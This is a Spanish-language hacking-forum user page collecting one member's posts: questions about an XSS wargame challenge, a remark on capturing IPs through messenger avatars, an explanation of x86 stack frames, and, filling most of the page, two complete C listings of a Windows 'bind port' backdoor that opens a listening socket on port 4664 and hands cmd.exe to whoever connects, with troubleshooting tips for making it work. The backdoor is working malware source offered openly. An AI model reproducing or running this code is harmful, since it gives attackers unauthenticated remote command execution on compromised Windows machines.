Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - orphen_nb

#1
WarZone / Re: Hack-web_XSS
21 Diciembre 2008, 21:07 PM
Gracias ya lo he pasado! :). Aunque no entiendo muy bien su funcionamiento pero te pregunto por pm mejor si no te importa xD.
#2
WarZone / Re: Hack-web_XSS
21 Diciembre 2008, 19:52 PM
Sip, para modificar el campo prot he usado el achilles, pero tampoco me ha funcionando :S.

Gracias por la pista, pero sigo sin saber por dónde meter mano porque el achilles ya lo he usao xD. No sé si te referías a eso...
#3
WarZone / Hack-web_XSS
21 Diciembre 2008, 18:55 PM
No logro pasar la prueba y "se me han acabado" las ideas.

he metido un .png con XSS, he codificado los caracteres, he probado modificando el input "prot" y no veo por dónde atacarle ya que el primer campo codifica los caracteres < y > a &lt; y &gt;, también & y # por lo que la codificación a html entities tampoco me funciona,  los otros campos al parecer hacen un escape de los caracteres especiales que metes, por lo que tampoco me funcionan <>/() etc ni ninguna codificación.

Ya no sé por dónde meterle mano, alguna pista? :P. Me queda mucho que aprender en vulnerabilidades web pero me interesa bastante.
#4
Por lo que sé los avatares se pasan directamente de PC a PC, por lo que en ese momento se podría sacar la ip... Aunque no te puedo asegurar que el script lo haga así.

Para ese se necesita el plus, verdad? No conoce alguien algún programa que no necesite el plus? Es que me da pereza bajarlo xD. Y no me apetece ver nicks con colorines y esas cosas.

Saludos.
#5
Creo recordar que eso se hacía cuando se va a llamar a una funcion. Con eso se crea una pila adicional para meter los argumentos de la funcion.
Si EBP es la direccion base de la pila y ESP es la cima, primero guarda la direccion de EBP en la pila(para luego poder retomar la pila principal), luego para crear otra pila adicional establece la base de la nueva pila donde estaba la cima de la anterior. Luego se disminuye ESP para meter los argumentos y se "pushean" los registros que contengan los argumentos. Cuando termina la funcion, para retomar la pila principal se sacan los registros que estan en la nueva pila, se establece la cima de la pila principal donde estaba la base de la pila adicional y luego se saca el valor de EBP de la pila que lo habíamos guardado al principio.
Para llamar a una funcion:

PUSH EBP
MOV EBP, ESP
SUB ESP, bytesparaguardarargumentos
PUSH Registros

Y para volver a la pila principal:

POP Registros
MOV ESP, EBP
POP EBP

Espero no haberme equivocado y que haya quedado mas o menos claro (aunq puede ser un poco lioso...)

Saludos
#6
Programación C/C++ / Re: Win Backdoor Bind port
16 Agosto 2005, 01:44 AM
Sí, ahora si me funciona sin ninguna modificación.
#7
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 20:51 PM
No, no me funciona, ya te dije que con socket() no funciona (al menos a mi...) sin embargo si lo cambio a
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
si que me funciona no se por qué  ???, pero sin modificar nada no me funciona...

Sí, puede ser por el SP2 porque yo no lo tengo...
#8
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 19:49 PM
Pues no se por qué no te funciona, a mi los dos códigos que te he pasado me funcionan. Pero te compila sin problemas no? excepto por los warnings...
Por cierto yo lo compilo con dev-c++...
#9
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 19:29 PM
Pues modificando este ultimo código que has posteado me funciona...
Te pongo el código:

#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

/*
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
*/

ExitProcess(0);
}

Pero tambien tienes que linkar la libreria ws2_32 (a lo mejor por eso no te funciona el anterior código que postee...
Simplemente he cambiado socket() por WSASocket() y he puesto #include <winsock2.h> y he linkado esa librería, y me funciona perfectamente... pruebalo tu...
#10
Programación C/C++ / Re: Win Backdoor Bind port
15 Agosto 2005, 18:15 PM
Lo he cambiado un poco fijandome en otra shellcode bind shell hasta que ha funcionado y ha quedado así:

#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/
memset(&start_proc,0,sizeof(start_proc));
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,0), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=INADDR_ANY;
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return 0;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 0;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 0;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,true,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}
return 0;
}

He puesto WSASocket() en vez de socket... la verdad, no tengo ni idea de por qué no funciona con socket, pero no funciona...
Y el último WSACleanup() que pusiste no deberías haberlo puesto porque si limpias los sockets, el socket por donde se establecía la "conversación" con la shell, desaparece, y con él desaparece también la shell.
También he añadido memset(&start_proc,0,sizeof(start_proc)); porque sin esta línea tampoco funciona, supongo que habrá algunas variables de start_proc inicializadas por defecto con algún valor que inhabilita la shell, y con esto lo inicializamos todo a 0, aunque tampoco se muy bien a que se debe que no funcione sin esto...
Creo que no he modificado nada más...
Saludos